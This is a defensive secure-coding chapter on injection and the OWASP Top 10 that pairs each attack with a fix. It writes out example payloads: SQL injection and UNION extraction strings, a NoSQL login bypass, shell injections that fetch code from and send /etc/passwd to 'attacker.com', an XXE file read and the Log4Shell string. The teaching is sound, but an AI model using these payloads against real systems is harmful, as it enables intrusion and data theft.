Appearance
8.5.1 — Injection, and the OWASP Top 10 as Design Failures
A search endpoint filters orders by status. The team uses an ORM, so they believe they are safe:
ts
const rows = await db.query(
`SELECT * FROM orders WHERE status = '${req.query.status}' AND tenant_id = ${tid}` // (1)
);(1) One template literal. An ORM is present in the project and is not being used here.
?status=x' OR '1'='1' -- returns every order in every tenant. ?status=x'; DROP TABLE orders; -- is worse. And ?status=x' UNION SELECT email, password_hash, NULL, NULL FROM users -- returns the user table through the order list, if the column count matches — and an attacker will find the column count by trying.
Injection is not one vulnerability. It is a shape, and once you see the shape you recognise every member of the family.
1. The shape
Injection happens when data crosses into a channel that interprets it as instructions.
The string x' OR '1'='1 was data — a status filter typed by a user. By the time it reached the database it had become part of the program. Nothing in between decided that; it happened because the value was pasted into a sentence the database parses.
The same sentence describes the whole family:
| Where the data lands | What it becomes |
|---|---|
| A SQL string | SQL |
| A shell command | Shell |
| A MongoDB query object | Query operators |
| An LDAP filter | Filter logic |
| A template | Server-side code |
| An XML parser | Entity references |
| A serialised object | Constructor calls |
| An HTML page | JavaScript (Chapter 8.5.2) |
| A log line | Forged log entries, or a lookup |
| An LLM prompt | Instructions |
And therefore the fix is one idea too: keep data and instructions in separate channels, rather than trying to make dangerous data safe. Every reliable defence below is an instance of that; every unreliable one is an attempt to filter.
2. SQL injection
The types matter because they decide whether you can see the attack.
In-band — the result appears in the response. UNION SELECT appends attacker-chosen rows to yours.
Error-based — the database error message leaks data. This is why detailed database errors must never reach a client.
Blind boolean — no output, but the behaviour differs. AND 1=1 returns results, AND 1=2 does not, so an attacker reads the database one bit at a time by asking yes/no questions: is the first character of the admin's password hash greater than "m"?
Blind time-based — not even a behaviour difference, so the attacker injects AND SLEEP(5) and reads the answer from the response time. This works on an endpoint that returns nothing at all, which is why "that endpoint returns no data so injection does not matter" is wrong.
Out-of-band — the database is made to open a connection to the attacker's server, exfiltrating data through DNS or HTTP.
Automated tools do all of this, so the practical assumption is that a discovered injection is a full database compromise regardless of how narrow it looks.
The fix: parameterised queries
ts
const rows = await db.query(
'SELECT * FROM orders WHERE status = $1 AND tenant_id = $2',
[req.query.status, tid] // (1)
);(1) The values travel separately from the statement.
Why that is different in kind from escaping, which is the part worth understanding: the database parses the statement first, producing an execution plan with holes in it, and the values are then placed into those holes as data. There is no moment when the value could be parsed as SQL, because parsing already finished. x' OR '1'='1 becomes a status literally equal to that string, matching nothing.
Escaping tries to make dangerous data safe and can fail. The historical example is real: with certain multi-byte character sets, an attacker could craft bytes where MySQL's escape function inserted a backslash that was consumed as the second byte of a valid character, leaving the quote free. Parameterisation has no equivalent failure, because it never tries to make anything safe.
What cannot be parameterised: identifiers (table and column names), sort direction, and in some drivers LIMIT. These need an allow-list, never a sanitiser:
ts
const SORTABLE = { date: 'placed_at', total: 'total_minor' } as const; // (1)
const column = SORTABLE[req.query.sort as keyof typeof SORTABLE] ?? 'placed_at';
const dir = req.query.dir === 'asc' ? 'ASC' : 'DESC'; // (2)
const sql = `SELECT id, total_minor FROM orders ORDER BY ${column} ${dir} LIMIT $1`;(1) The user's input selects a key; it never becomes part of the SQL. The only strings that can reach the query are ones you wrote. (2) Two possible values, chosen by comparison. This is the general pattern for anything unparameterisable: map input to a fixed set rather than cleaning it.
Two more things that are not automatically safe. An ORM's raw-fragment escape hatch — whereRaw, $queryRawUnsafe, text() — is a plain string, and every ORM has one. And stored procedures are not inherently safe: a procedure that builds dynamic SQL from its parameters is exactly as injectable.
Defence in depth for the day one gets through: the application's database user should have no DDL rights and no access to tables it does not need (Chapter 8.1's least privilege), separate read-only credentials for reporting, and errors that never return database messages to clients. A web application firewall catches known patterns and is a speed bump, not a fix.
3. NoSQL injection
People assume "no SQL, no SQL injection". The channel changed; the shape did not.
ts
// Login handler
const user = await users.findOne({ email: req.body.email, password: req.body.password });With a JSON body parser, req.body.password does not have to be a string:
json
{ "email": "admin@example.com", "password": { "$ne": null } }That becomes { password: { $ne: null } } — password not equal to null — which matches, and logs the attacker in as the administrator. $gt: "", $regex for character-by-character extraction, and $where for server-side JavaScript are the other members.
The fix is type validation at the boundary, which is a specific instance of the general rule:
ts
const LoginSchema = z.object({
email: z.string().email(),
password: z.string().min(1).max(200), // (1)
});
const { email, password } = LoginSchema.parse(req.body); // (2)(1) z.string() rejects an object outright, which is what closes the hole. (2) Parse at the edge and use the parsed value — never the raw body — so the rest of the handler cannot receive an operator object. Chapter 3.7.7 covers this boundary pattern in full.
4. Command injection
ts
exec(`convert ${filename} -resize 200x200 out.png`); // ✗exec runs the string through a shell, so ; rm -rf /, $(curl attacker.com/x | sh) and backticks all execute. A filename of photo.png; curl attacker.com/$(cat /etc/passwd | base64) exfiltrates a file.
ts
execFile('convert', [filename, '-resize', '200x200', 'out.png']); // ✓execFile and spawn with an argument array do not invoke a shell, so the filename is one argument no matter what characters it contains. This is parameterisation again, in a different channel — arguments are data, the program name is the instruction.
Do not try to sanitise shell input. Quoting rules differ per shell, and the list of dangerous characters is longer than anyone remembers. If you must build a command string, you have chosen the hard path — reconsider the design.
Path traversal is the neighbouring bug:
ts
res.sendFile(path.join(UPLOAD_DIR, req.params.name)); // ✗ ../../etc/passwdts
const target = path.resolve(UPLOAD_DIR, req.params.name); // (1)
if (!target.startsWith(UPLOAD_DIR + path.sep)) return res.sendStatus(400); // (2)(1) Resolve first so .. segments collapse; checking the raw input for .. misses encodings. (2) Then verify the result is inside the directory, with the separator so /uploads-evil does not pass a naive prefix test.
Better still: do not accept filenames at all. Store an id, look up the real path in the database, and serve that. An input that never reaches the filesystem cannot traverse it, and that is the strongest version of the fix.
5. The rest of the family
Server-side template injection. User input reaching a template engine as template source — not as a variable — executes code. 49 returning 49 is the classic probe, and it escalates to full remote code execution. Render templates from files, and pass user data as context values only.
XML external entities. An XML parser that resolves external entities can be made to read local files or make outbound requests:
xml
<!DOCTYPE r [<!ENTITY x SYSTEM "file:///etc/passwd">]><r>&x;</r>Disable DTD processing and external entities — most modern parsers now default to safe, and older ones do not. Relevant anywhere XML is parsed: SAML (Chapter 8.4.5), SOAP, office documents, SVG uploads.
Insecure deserialisation. Formats that reconstruct arbitrary objects — Java serialisation, PHP unserialize, Python pickle, yaml.load without a safe loader — can be made to run code during reconstruction. Never deserialise untrusted input in those formats. Use JSON, which reconstructs only data.
Log injection. Unescaped newlines in a logged value let an attacker forge log entries and hide their tracks. And Log4Shell (CVE-2021-44228) was the extreme case: the logging library interpreted ${jndi:ldap://attacker/x} inside a logged string, fetched a remote object and ran it. Logging a user agent header became remote code execution. The lesson generalises: a logging library that evaluates the content it logs is an injection sink, and data reaching any evaluator is dangerous.
Prompt injection is the newest member. Text placed into a language model's context — a document, a web page, a support ticket — is read as instructions. It is structurally the same problem and currently has no complete fix, because the model has no separate channel for instructions and data. Chapter 12.6 covers what mitigation is possible.
6. The OWASP Top 10, read properly
The list is a set of design failures, and reading it that way makes it useful rather than a quiz. The 2021 revision is the one most tools still cite; the 2025 update keeps the same shape while raising supply chain and misconfiguration.
A01 Broken access control — the top entry, and the subject of Chapter 8.4.10. IDOR, missing function-level checks, client-side enforcement.
A02 Cryptographic failures — data not encrypted, weak algorithms, secrets in code. Chapter 8.2.
A03 Injection — this page, now including cross-site scripting, which was merged in.
A04 Insecure design — the category acknowledging that some flaws cannot be patched because the design is wrong. Threat modelling (Chapter 8.1) is the control, and no scanner detects "this feature should not exist".
A05 Security misconfiguration — default credentials, verbose errors, open cloud storage, missing headers, an admin interface exposed. This is the most common finding in practice, and it is entirely preventable.
A06 Vulnerable and outdated components — the most-exploited category in the real world. Automated dependency updates (Chapter 8.1's priority list) beat everything else per hour spent.
A07 Identification and authentication failures — Chapters 8.4.1 to 8.4.7.
A08 Software and data integrity failures — unsigned updates, compromised build pipelines, untrusted deserialisation. Chapter 8.6.2.
A09 Security logging and monitoring failures — you were breached and did not notice. Log authentication events, authorisation denials and administrative actions, centrally.
A10 Server-side request forgery — Chapter 8.5.2.
And the API-specific list is worth knowing separately, because APIs fail differently: broken object-level authorization is number one there too, followed by broken authentication, excessive data exposure (returning the whole object and filtering in the client), lack of resource limits, and mass assignment.
Mass assignment deserves its own line, because it is quiet:
ts
await db.users.update(id, req.body); // ✗ { "isAdmin": true } worksBind to an explicit allow-list of fields, never to the request body. The Zod parse from section 3 gives it to you if you .strict() and select the fields you intend, and this is a case where the validation layer and the security control are the same line of code.
What the interviewer will push on
"What is SQL injection and how do you prevent it?" Data crossing into a channel that parses it as instructions; prevented by parameterised queries. The tell is explaining why parameterisation differs from escaping — the statement is parsed first and values are placed into a finished plan, so there is no moment when the value could be SQL.
"What about things you cannot parameterise, like a sort column?" An allow-list that maps user input to strings you wrote, plus a two-value comparison for direction. Never a sanitiser. This question checks whether you know parameterisation's boundary or just its name.
"Is a NoSQL database safe from injection?" No. A JSON body lets password arrive as {"$ne": null}, which matches every user and logs the attacker in. The fix is type validation at the boundary — z.string() rejects an object — and using the parsed value rather than the raw body.
"Why is exec dangerous and execFile not?" exec runs through a shell, so metacharacters in an argument execute; execFile and spawn with an array pass arguments directly. It is the same separation as parameterised queries, in a different channel. Then say plainly that sanitising shell input is the wrong approach.
"How do you handle a user-supplied filename?" Resolve the path first so .. collapses, then verify the result is inside the directory including the separator. Then the better answer: do not accept filenames — accept an id and look up the path, so nothing user-controlled reaches the filesystem.
"An endpoint returns nothing. Can it still be injectable?" Yes — time-based blind injection reads data through response delays, and boolean-blind reads it through behaviour differences. Automated tools extract whole databases this way, so "no output" is not a mitigation.
One thing to volunteer: point out that Log4Shell was an injection into a logging library, because it evaluated the content it logged. It generalises the rule beyond databases and shells: any component that evaluates its input is an injection sink, including loggers, templates, deserialisers and now language models.
Recall
- Injection is one shape: data crossing into a channel that interprets it as instructions. SQL, shell, MongoDB operators, LDAP filters, templates, XML entities, deserialisers, logs and LLM prompts are all the same problem.
- The fix is separate channels, not safer data. Parameterised queries work because the statement is parsed first and values fill a finished plan — escaping tries to make dangerous data safe and has failed on multi-byte character sets.
- Identifiers and sort direction cannot be parameterised — map input to an allow-list of strings you wrote. ORM raw fragments and dynamic SQL inside stored procedures are equally injectable.
- Blind injection needs no output: boolean differences or
SLEEPtimings extract a database one bit at a time, automatically. - NoSQL injection arrives as a JSON object where a string was expected —
{"$ne": null}matches every user. Validate types at the boundary and use the parsed value. execruns a shell;execFile/spawnwith an argument array do not. For paths, resolve then check containment — and better, accept an id and look the path up, so nothing user-controlled reaches the filesystem.- Neighbouring sinks: template injection (render from files, pass data as context), XXE (disable external entities), deserialisation (never
pickle/unserializeuntrusted input), and Log4Shell, where a logger evaluated its input. - OWASP as design failures: A01 broken access control is number one, A05 misconfiguration is the most common in practice, A06 outdated components is the most exploited. Mass assignment — binding a request body straight to a model — is the quiet one: allow-list the fields.
Self-test: Why is parameterisation different in kind from escaping? · How do you make an ORDER BY column safe? · What does {"$ne": null} do to a login query? · Why is a no-output endpoint still injectable? · What made Log4Shell an injection rather than a parsing bug? · What single line stops mass assignment?
Next: 8.5.2 covers the attacks that use the browser or your own server as the weapon — XSS, CSRF and SSRF — and the confused-deputy idea that unites them.